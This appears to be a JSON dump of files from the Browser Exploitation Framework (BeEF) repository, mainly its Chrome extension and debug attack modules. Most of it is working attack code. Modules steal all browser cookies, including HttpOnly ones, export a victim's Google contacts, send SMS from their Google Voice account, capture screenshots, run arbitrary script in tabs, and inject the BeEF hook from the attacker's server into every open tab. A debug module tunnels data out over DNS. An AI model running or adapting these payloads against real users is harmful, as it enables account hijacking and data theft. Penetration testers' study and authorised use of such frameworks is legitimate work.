ah=\"\";for(var ae in ai){if(ai[ae]!=Object.prototype[ae]){if(ae.toLowerCase()==\"data\"){ag.movie=ai[ae]}else{if(ae.toLowerCase()==\"styleclass\"){ah+=' class=\"'+ai[ae]+'\"'}else{if(ae.toLowerCase()!=\"classid\"){ah+=\" \"+ae+'=\"'+ai[ae]+'\"'}}}}}var af=\"\";for(var ad in ag){if(ag[ad]!=Object.prototype[ad]){af+='<param name=\"'+ad+'\" value=\"'+ag[ad]+'\" />'}}aa.outerHTML='<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\"'+ah+\">\"+af+\"</object>\";N[N.length]=ai.id;X=c(ai.id)}else{var Z=C(r);Z.setAttribute(\"type\",q);for(var ac in ai){if(ai[ac]!=Object.prototype[ac]){if(ac.toLowerCase()==\"styleclass\"){Z.setAttribute(\"class\",ai[ac])}else{if(ac.toLowerCase()!=\"classid\"){Z.setAttribute(ac,ai[ac])}}}}for(var ab in ag){if(ag[ab]!=Object.prototype[ab]&&ab.toLowerCase()!=\"movie\"){e(Z,ab,ag[ab])}}aa.parentNode.replaceChild(Z,aa);X=Z}}return X}function e(Z,X,Y){var aa=C(\"param\");aa.setAttribute(\"name\",X);aa.setAttribute(\"value\",Y);Z.appendChild(aa)}function y(Y){var X=c(Y);if(X&&X.nodeName==\"OBJECT\"){if(M.ie&&M.win){X.style.display=\"none\";(function(){if(X.readyState==4){b(Y)}else{setTimeout(arguments.callee,10)}})()}else{X.parentNode.removeChild(X)}}}function b(Z){var Y=c(Z);if(Y){for(var X in Y){if(typeof Y[X]==\"function\"){Y[X]=null}}Y.parentNode.removeChild(Y)}}function c(Z){var X=null;try{X=j.getElementById(Z)}catch(Y){}return X}function C(X){return j.createElement(X)}function i(Z,X,Y){Z.attachEvent(X,Y);I[I.length]=[Z,X,Y]}function F(Z){var Y=M.pv,X=Z.split(\".\");X[0]=parseInt(X[0],10);X[1]=parseInt(X[1],10)||0;X[2]=parseInt(X[2],10)||0;return(Y[0]>X[0]||(Y[0]==X[0]&&Y[1]>X[1])||(Y[0]==X[0]&&Y[1]==X[1]&&Y[2]>=X[2]))?true:false}function v(ac,Y,ad,ab){if(M.ie&&M.mac){return}var aa=j.getElementsByTagName(\"head\")[0];if(!aa){return}var X=(ad&&typeof ad==\"string\")?ad:\"screen\";if(ab){n=null;G=null}if(!n||G!=X){var Z=C(\"style\");Z.setAttribute(\"type\",\"text/css\");Z.setAttribute(\"media\",X);n=aa.appendChild(Z);if(M.ie&&M.win&&typeof j.styleSheets!=D&&j.styleSheets.length>0){n=j.styleSheets[j.styleSheets.length-1]}G=X}if(M.ie&&M.win){if(n&&typeof n.addRule==r){n.addRule(ac,Y)}}else{if(n&&typeof j.createTextNode!=D){n.appendChild(j.createTextNode(ac+\" {\"+Y+\"}\"))}}}function w(Z,X){if(!m){return}var Y=X?\"visible\":\"hidden\";if(J&&c(Z)){c(Z).style.visibility=Y}else{v(\"#\"+Z,\"visibility:\"+Y)}}function L(Y){var Z=/[\\\\\\\"<>\\.;]/;var X=Z.exec(Y)!=null;return X&&typeof encodeURIComponent!=D?encodeURIComponent(Y):Y}var d=function(){if(M.ie&&M.win){window.attachEvent(\"onunload\",function(){var ac=I.length;for(var ab=0;ab<ac;ab++){I[ab][0].detachEvent(I[ab][1],I[ab][2])}var Z=N.length;for(var aa=0;aa<Z;aa++){y(N[aa])}for(var Y in M){M[Y]=null}M=null;for(var X in swfobject){swfobject[X]=null}swfobject=null})}}();return{registerObject:function(ab,X,aa,Z){if(M.w3&&ab&&X){var Y={};Y.id=ab;Y.swfVersion=X;Y.expressInstall=aa;Y.callbackFn=Z;o[o.length]=Y;w(ab,false)}else{if(Z){Z({success:false,id:ab})}}},getObjectById:function(X){if(M.w3){return z(X)}},embedSWF:function(ab,ah,ae,ag,Y,aa,Z,ad,af,ac){var X={success:false,id:ah};if(M.w3&&!(M.wk&&M.wk<312)&&ab&&ah&&ae&&ag&&Y){w(ah,false);K(function(){ae+=\"\";ag+=\"\";var aj={};if(af&&typeof af===r){for(var al in af){aj[al]=af[al]}}aj.data=ab;aj.width=ae;aj.height=ag;var am={};if(ad&&typeof ad===r){for(var ak in ad){am[ak]=ad[ak]}}if(Z&&typeof Z===r){for(var ai in Z){if(typeof am.flashvars!=D){am.flashvars+=\"&\"+ai+\"=\"+Z[ai]}else{am.flashvars=ai+\"=\"+Z[ai]}}}if(F(Y)){var an=u(aj,am,ah);if(aj.id==ah){w(ah,true)}X.success=true;X.ref=an}else{if(aa&&A()){aj.data=aa;P(aj,am,ah,ac);return}else{w(ah,true)}}if(ac){ac(X)}})}else{if(ac){ac(X)}}},switchOffAutoHideShow:function(){m=false},ua:M,getFlashPlayerVersion:function(){return{major:M.pv[0],minor:M.pv[1],release:M.pv[2]}},hasFlashPlayerVersion:F,createSWF:function(Z,Y,X){if(M.w3){return u(Z,Y,X)}else{return undefined}},showExpressInstall:function(Z,aa,X,Y){if(M.w3&&A()){P(Z,aa,X,Y)}},removeSWF:function(X){if(M.w3){y(X)}},createCSS:function(aa,Z,Y,X){if(M.w3){v(aa,Z,Y,X)}},addDomLoadEvent:K,addLoadEvent:s,getQueryParamValue:function(aa){var Z=j.location.search||j.location.hash;if(Z){if(/\\?/.test(Z)){Z=Z.split(\"?\")[1]}if(aa==null){return L(Z)}var Y=Z.split(\"&\");for(var X=0;X<Y.length;X++){if(Y[X].substring(0,Y[X].indexOf(\"=\"))==aa){return L(Y[X].substring((Y[X].indexOf(\"=\")+1)))}}}return\"\"},expressInstallCallback:function(){if(a){var X=c(R);if(X&&l){X.parentNode.replaceChild(l,X);if(Q){w(Q,true);if(M.ie&&M.win){l.style.display=\"block\"}}if(E){E(B)}}a=false}}}}();"
  },
  {
    "path": "modules/chrome_extensions/execute_tabs/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\ttry{\n\t\tchrome.tabs.create({url:\"<%= @url %>\"}, function(tab){\n\t\t\tchrome.tabs.executeScript(tab.id,{code:\"<%= @theJS %>\"}, function(){\n               beef.net.send('<%= @command_url %>', <%= @command_id %>, 'Code executed on tab.id: ' + tab.id);\n            });\n\t\t});\n\t} catch(error){\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'Not inside of a Chrome Extension');\n\t}\n});\n\n"
  },
  {
    "path": "modules/chrome_extensions/execute_tabs/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        execute_tabs:\n            enable: true\n            category: \"Chrome Extensions\"\n            name: \"Execute On Tab\"\n            description: \"Open a new tab and execute the Javascript code on it. The Chrome Extension needs to have the 'tabs' permission, as well as access to the domain.\"\n            authors: [\"Kos\", \"antisnatchor\"]\n            target:\n                user_notify: [\"C\"]\n                not_working: [\"All\"]\n"
  },
  {
    "path": "modules/chrome_extensions/execute_tabs/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Execute_tabs < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'url', 'ui_label' => 'URL', 'value' => 'https://www.google.com/accounts/EditUserInfo', 'width' => '500px' },\n      { 'name' => 'theJS', 'ui_label' => 'Javascript', 'value' => 'prompt(\\'BeEF\\');', 'type' => 'textarea', 'width' => '400px', 'height' => '300px' }\n    ]\n  end\n\n  def post_execute\n    content = {}\n    content['Return'] = @datastore['return']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/chrome_extensions/get_all_cookies/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\tthe_url = \"<%== @url %>\";\n\tif (the_url != 'default_all') {\n\t    chrome.cookies.getAll({url:the_url}, function(cookies){\n\t        beef.net.send('<%= @command_url %>', <%= @command_id %>, 'cookies: ' + JSON.stringify(cookies));\n\t    })\n\t} else {\n\t\tchrome.cookies.getAll({}, function(cookies){\n        \tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'cookies: ' + JSON.stringify(cookies));\n    \t})\n\t}\n\n});\n\n"
  },
  {
    "path": "modules/chrome_extensions/get_all_cookies/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        get_all_cookies:\n            enable: true\n            category: \"Chrome Extensions\"\n            name: \"Get All Cookies\"\n            description: \"Steal cookies, even HttpOnly cookies, providing the hooked extension has cookies access.<br />If a URL is not specified then <em>all</em> cookies are returned (this can be a lot!)\"\n            authors: [\"mh\"]\n            target:\n                working: [\"C\"]\n                not_working: [\"All\"]\n"
  },
  {
    "path": "modules/chrome_extensions/get_all_cookies/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Get_all_cookies < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'url', 'ui_label' => 'Domain (e.g. http://facebook.com)', 'value' => 'default_all' }\n    ]\n  end\n\n  def post_execute\n    content = {}\n    content['Return'] = @datastore['return']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/chrome_extensions/grab_google_contacts/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\t\tvar regContacts = '(\"AuthToken\":{\"Value\":\")(.*)(\"}}};)';\n\t\tfunction grabCSV(token){\n\t\t\tvar csv = new XMLHttpRequest();\n\t\t\tcsv.open(\"GET\", \"https://www.google.com/voice/c/b/X/data/export?groupToExport=%5EMine&exportType=ALL&out=GMAIL_CSV&tok=\"+token,false);\n\t\t\tcsv.setRequestHeader(\"Content-Charset\", \"ISO-8859-1,utf-8;q=0.7,*;q=0.3\");\n\t\t\tcsv.send();\n\t\t\treturn csv.responseText\n\t\t}\n\t\t\n\t\tfunction toolContact(v) {\n\t\t \tvar re = new RegExp(regContacts);\n\t\t \tvar m = re.exec(v);\n\t\t \tif (m != null) {\n\t\t\t\ttmpCSV = grabCSV(m[2])\n\t\t\t\tparams = \"email=email&csv=\"+tmpCSV;\n                beef.net.send('<%= @command_url %>', <%= @command_id %>, tmpCSV);\n\t\t\t }\n\t\t}\n\n\t\tfunction grabContacts(){\n\t\t\tvar client = new XMLHttpRequest();\n\t\t\tclient.open(\"GET\", \"https://www.google.com/voice/c/b/X/ui/ContactManager\" ,false);\n\t\t\tclient.setRequestHeader(\"Content-Charset\", \"ISO-8859-1,utf-8;q=0.7,*;q=0.3\");\n\t\t\tclient.send();\n\t\t\tif(client.status != 200){ // if the victim is not authenticated in Google, a 403 Forbidden error is received.\n\t\t\t    beef.net.send('<%= @command_url %>', <%= @command_id %>, 'The victim is not logged in Google.');\n\t\t\t}else{ //proceed\n\t\t\t    toolContact(client.responseText);\n\t\t\t}\n\t\t}\n\n\t\tgrabContacts();\n});\n\n"
  },
  {
    "path": "modules/chrome_extensions/grab_google_contacts/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        grab_google_contacts:\n            enable: true\n            category: \"Chrome Extensions\"\n            name: \"Grab Google Contacts\"\n            description: \"Attempt to grab the contacts of the currently logged in Google account, exploiting the export to CSV feature.\"\n            authors: [\"Kos\", \"antisnatchor\"]\n            target:\n                working: [\"C\"]\n                not_working: [\"All\"]\n"
  },
  {
    "path": "modules/chrome_extensions/grab_google_contacts/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Grab_google_contacts < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['Return'] = @datastore['return']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/chrome_extensions/inject_beef/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n        var beefHookUri = beef.net.httpproto + \"://\" + beef.net.host + \":\" + beef.net.port + beef.net.hook;\n\n        chrome.windows.getAll({\"populate\" : true}, function(windows) {\n\t\t\tfor(i in windows) {\n\t\t\t\tif(windows[i].type==\"normal\") {\n\t\t\t\t\tchrome.tabs.getAllInWindow(windows[i].id,function(tabs){\n\t\t\t\t\t\tfor(t in tabs) {\n                            //antisnatchor: if the extension has her own tabs open, we want to precent injecting the hook\n                            //also there. Chrome extensions with tabs and http/s permissions cannot access URIs with protocol\n                            // handlers chrome-extension://, and most of them will not have permissions to do so.\n                            if(tabs[t].url.substring(0,16) != \"chrome-extension\"){\n                                chrome.tabs.executeScript(tabs[t].id,{code:\"newScript=document.createElement('script'); newScript.src='\"\n                                    + beefHookUri + \"'; newScript.setAttribute('onload','beef_init()'); document.getElementsByTagName('head')[0].appendChild(newScript);\"})\n\n\t\t\t\t\t\t        //send back the new domain that will be hooked :-)\n                                beef.net.send('<%= @command_url %>', <%= @command_id %>, 'Successfully injected BeEF hook on: ' + tabs[t].url);\n                            }\n\t\t\t\t\t\t}\n\t\t\t\t\t})\n\t\t\t\t}\n\t\t\t}\n\t\t});\n});\n\n"
  },
  {
    "path": "modules/chrome_extensions/inject_beef/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        inject_beef:\n            enable: true\n            category: \"Chrome Extensions\"\n            name: \"Inject BeEF\"\n            description: \"Attempt to inject the BeEF hook on all the available tabs.\"\n            authors: [\"Kos\", \"antisnatchor\"]\n            target:\n                working: [\"C\"]\n                not_working: [\"All\"]\n"
  },
  {
    "path": "modules/chrome_extensions/inject_beef/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Inject_beef < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['Return'] = @datastore['return']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/chrome_extensions/screenshot/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n    chrome.tabs.captureVisibleTab(null, function(img) {\n        beef.net.send('<%= @command_url %>', <%= @command_id %>, 'img: ' + img.toString());\n    });\n});\n\n"
  },
  {
    "path": "modules/chrome_extensions/screenshot/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        screenshot:\n            enable: true\n            category: \"Chrome Extensions\"\n            name: \"Screenshot\"\n            description: \"Screenshots current tab the user is in, screenshot returned as base64d data for a dataurl\"\n            authors: [\"mh\"]\n            target:\n                working: [\"C\"]\n                not_working: [\"All\"]\n"
  },
  {
    "path": "modules/chrome_extensions/screenshot/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Screenshot < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['Return'] = @datastore['return']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/chrome_extensions/send_gvoice_sms/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\t\tvar to = \"<%= @to %>\";\n\t\tvar message = \"<%= @message %>\";\n\t\tvar status;\n\t\tvar regSMS = \"('_rnr_se': ')([a-zA-Z0-9\\+=]+)\";//?(',)\"\n\t\t\n\t\tfunction sendSMSNOW(message,number,token){\n\t\t\t\ttoken = token.replace(\"+\",\"%2b\").replace(\"=\",\"%3d\");\n\t\t\t\tvar sendMessage = new XMLHttpRequest();\n\t\t\t\tsendMessage.open(\"POST\",\"https://www.google.com/voice/sms/send/\",false);\n\t\t\t\tsendMessage.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded;charset=UTF-8\");\n\t\t\t\tparams = \"id=&phoneNumber=\"+number+\"&conversationId=&text=\"+message+\"&contact=&_rnr_se=\"+token\n\t\t\t\tsendMessage.send(params)\n\t\t\t\teval(\"response=\"+sendMessage.responseText);\n\t\t\t\tif(response['ok'] == true){\n\t\t\t\t\t\tstatus = \"OK. Your message has been sent.\";\n\t\t\t\t} else {\n\t\t\t\t\t\tstatus = \"ERROR. Something went wrong. Make sure you prefix the number with the country code.\";\n\t\t\t\t}\n\t\t}\n\t\t\n\t\tfunction sendSMS(message,number) {\n\t\t\t\tvar client = new XMLHttpRequest();\n\t\t\t\tclient.open(\"GET\", \"https://www.google.com/voice\" ,false);\n\t\t\t\tclient.setRequestHeader(\"Content-Charset\", \"ISO-8859-1,utf-8;q=0.7,*;q=0.3\");\n\t\t\t\tclient.send();\n\t\t\n\t\t\t\tvar re = new RegExp(regSMS);\n\t\t\t\tvar m = re.exec(client.responseText);\n\t\t\t\tif (m != null) {\n\t\t\t\t//return m[2];\n\t\t\t\tsendSMSNOW(message,number,m[2]);\n\t\t\t}\n\t\t}\t\n\n\n\t\tsendSMS(message,to);\n\n\t\tbeef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'to='+to+'&message='+message+'&status='+status);\n});\n"
  },
  {
    "path": "modules/chrome_extensions/send_gvoice_sms/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        send_gvoice_sms:\n            enable: true\n            category: \"Chrome Extensions\"\n            name: \"Send Gvoice SMS\"\n            description: \"Send a text message (SMS) through the Google Voice account of the victim, if she's logged in to Google.\"\n            authors: [\"Kos\", \"antisnatchor\"]\n            target:\n                user_notify: [\"C\"]\n                not_working: [\"ALL\"]\n"
  },
  {
    "path": "modules/chrome_extensions/send_gvoice_sms/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Send_gvoice_sms < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'to', 'ui_label' => 'To', 'value' => '1234567890', 'type' => 'textarea', 'width' => '300px' },\n      { 'name' => 'message', 'ui_label' => 'Message', 'value' => 'Hello from BeEF', 'type' => 'textarea', 'width' => '300px', 'height' => '200px' }\n    ]\n  end\n\n  def post_execute\n    content = {}\n    content['To'] = @datastore['to']\n    content['Message'] = @datastore['message']\n    content['Status'] = @datastore['status']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/debug/test_beef_debug/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\ttry {\n\t\tvar msg = decodeURIComponent(beef.encode.base64.decode('<%= Base64.strict_encode64(@msg) %>'));\n\t\tbeef.debug(msg);\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=called the beef.debug() function. Check the developer console for your debug message.');\n\t} catch(e) {\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=something went wrong&error='+e.message);\n\t}\n\n});\n"
  },
  {
    "path": "modules/debug/test_beef_debug/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        test_beef_debug:\n            enable: true\n            category: \"Debug\"\n            name: \"Test beef.debug()\"\n            description: \"Test the 'beef.debug()' function. This function wraps 'console.log()'\"\n            authors: [\"bcoles\"]\n            target:\n                 working: [\"All\"]\n                 not_working: [\"IE\"]\n"
  },
  {
    "path": "modules/debug/test_beef_debug/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Test_beef_debug < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'msg', 'description' => 'Debug Message', 'ui_label' => 'Debug Message', 'value' => 'Test string for beef.debug() function', 'type' => 'textarea',\n        'width' => '400px', 'height' => '50px' }\n    ]\n  end\n\n  def post_execute\n    content = {}\n    content['Result'] = @datastore['result']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/debug/test_cors_request/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar method = \"<%= @method %>\";\n\tvar url    = \"<%= @url %>\";\n\tvar data   = \"<%= @data %>\";\n\tvar timeout = 15000;\n\n\tbeef.net.cors.request(method, url, data, timeout, function(response) { beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"response=\"+JSON.stringify(response)); });\n\n});\n\n"
  },
  {
    "path": "modules/debug/test_cors_request/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        test_cors_request:\n            enable: true\n            category: \"Debug\"\n            name: \"Test CORS Request\"\n            description: \"Test the beef.net.cors.request function by retrieving a URL.\"\n            authors: [\"bcoles\"]\n            # http://caniuse.com/cors\n            target:\n                working: [\"ALL\"]\n                not_working:\n                    # CORS is partially supported on IE 8 & 9\n                    IE:\n                        min_ver: 6\n                        max_ver: 7\n                    O:\n                        min_ver: 1\n                        max_ver: 11\n                    C:\n                        min_ver: 1\n                        max_ver: 3\n                    S:\n                        min_ver: 1\n                        max_ver: 3\n                    F:\n                        min_ver: 1\n                        max_ver: 3\n"
  },
  {
    "path": "modules/debug/test_cors_request/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Test_cors_request < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['response'] = @datastore['response']\n    save content\n  end\n\n  def self.options\n    [\n      { 'name' => 'method', 'ui_label' => 'Method', 'type' => 'text', 'width' => '400px', 'value' => 'GET' },\n      { 'name' => 'url',    'ui_label' => 'URL',    'type' => 'text', 'width' => '400px',\n        'value' => 'http://graph.facebook.com/fql?q=SELECT%20url,total_count%20FROM%20link_stat%20WHERE%20url=%27https://beefproject.com/%27' },\n      { 'name' => 'data',   'ui_label' => 'Data',   'type' => 'text', 'width' => '400px', 'value' => 'postdata' }\n    ]\n  end\nend\n"
  },
  {
    "path": "modules/debug/test_dns_tunnel_client/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/*\nCheck the Browser Hacker's Handbook, chapter 3, pages 89-95 for more details about how this works.\n*/\n\nbeef.execute(function() {\n\n\tvar msgId   = \"<%= @command_id %>\";\n\tvar domain  = \"<%= @domain %>\";\n\tvar data = \"<%= @data %>\";\n                                                    //chunks comes from the callback\n\tbeef.net.dns.send(msgId, data, domain, function(chunks){\n          beef.net.send('<%= @command_url %>', <%= @command_id %>, 'dns_requests='+chunks+' requests sent');\n        }\n    );\n\n});\n\n"
  },
  {
    "path": "modules/debug/test_dns_tunnel_client/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        test_dns_tunnel_client:\n            enable: true\n            category: \"Debug\"\n            name: \"DNS Tunnel\"\n            description: \"This module sends data one way over DNS, client to server only. BeEF's DNS server is used to reconstruct chunks of data being extruded via DNS. <br> Make sure that: <br>- the DNS extension is enabled, <br>- the DNS server is listening on port 53,<br>- the hooked browser is resolving the domain you specified via BeEF's DNS server.<br><br>By default all DNS requests used to extrude data return NXDomain responses.\"\n            authors: [\"antisnatchor\", \"wade\", \"bcoles\"]\n            target:\n                working: \"All\"\n"
  },
  {
    "path": "modules/debug/test_dns_tunnel_client/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Test_dns_tunnel_client < BeEF::Core::Command\n  def self.options\n    @configuration = BeEF::Core::Configuration.instance\n\n    [\n      { 'name' => 'domain', 'ui_label' => 'Domain', 'type' => 'text', 'width' => '400px', 'value' => 'browserhacker.com' },\n      { 'name' => 'data', 'ui_label' => 'Data to send', 'type' => 'textarea', 'value' =>\n          'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Cras rutrum fermentum nunc, vel varius libero pharetra a. ' \\\n          'Duis rhoncus nisi volutpat elit suscipit auctor. In fringilla est eget tortor bibendum gravida. Pellentesque aliquet ' \\\n          'augue libero, at gravida arcu. Nunc et quam sapien, eu pulvinar erat. Quisque dignissim imperdiet neque, et interdum ' \\\n          'sem sagittis a. Maecenas non mi elit, a luctus neque. Nam pulvinar libero sit amet dui suscipit facilisis. Duis sed ' \\\n          'mauris elit. Aliquam cursus scelerisque diam a fringilla. Curabitur mollis nisi in ante hendrerit pellentesque ut ac ' \\\n          'orci. In congue nunc vitae enim pharetra eleifend.',\n        'width' => '400px', 'height' => '300px' }\n    ]\n  end\n\n  def post_execute\n    content = {}\n    content['dns_requests'] = @datastore['dns_requests']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/debug/test_get_variable/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/*\nThis JavaScript gets value of the specified variable that was set in another script via Window property.\n*/\n\nbeef.execute(function() {\n\n var payload = \"<%= @payload_name %>\";\n var curl = \"<%= @command_url %>\";\n var cid = \"<%= @command_id %>\";\n \n beef.debug(\"The current value of \" + payload + \" is \" + Window[payload]);\n beef.net.send(curl, parseInt(cid),'get_variable=true');\n\n});\n"
  },
  {
    "path": "modules/debug/test_get_variable/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        test_get_variable:\n            enable: true\n            category: \"Debug\"\n            name: \"Test JS variable passing\"\n            description: \"Test for JS variable passing from another BeEF's script via Window object\"\n            authors: [\"dnkolegov\"]\n            target:\n                 working: [\"All\"]\n"
  },
  {
    "path": "modules/debug/test_get_variable/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Test_get_variable < BeEF::Core::Command\n  def self.options\n    [{ 'name' => 'payload_name', 'ui_label' => 'Payload Name', 'type' => 'text', 'value' => 'message', 'width' => '400px' }]\n  end\nend\n"
  },
  {
    "path": "modules/debug/test_http_redirect/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=mounted to /redirect');\n\n});\n"
  },
  {
    "path": "modules/debug/test_http_redirect/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        test_http_redirect:\n            enable: true\n            category: \"Debug\"\n            name: \"Test HTTP Redirect\"\n            description: \"Test the HTTP 'redirect' handler.\"\n            authors: [\"bcoles\"]\n            target:\n                 working: [\"All\"]\n"
  },
  {
    "path": "modules/debug/test_http_redirect/module.rb",
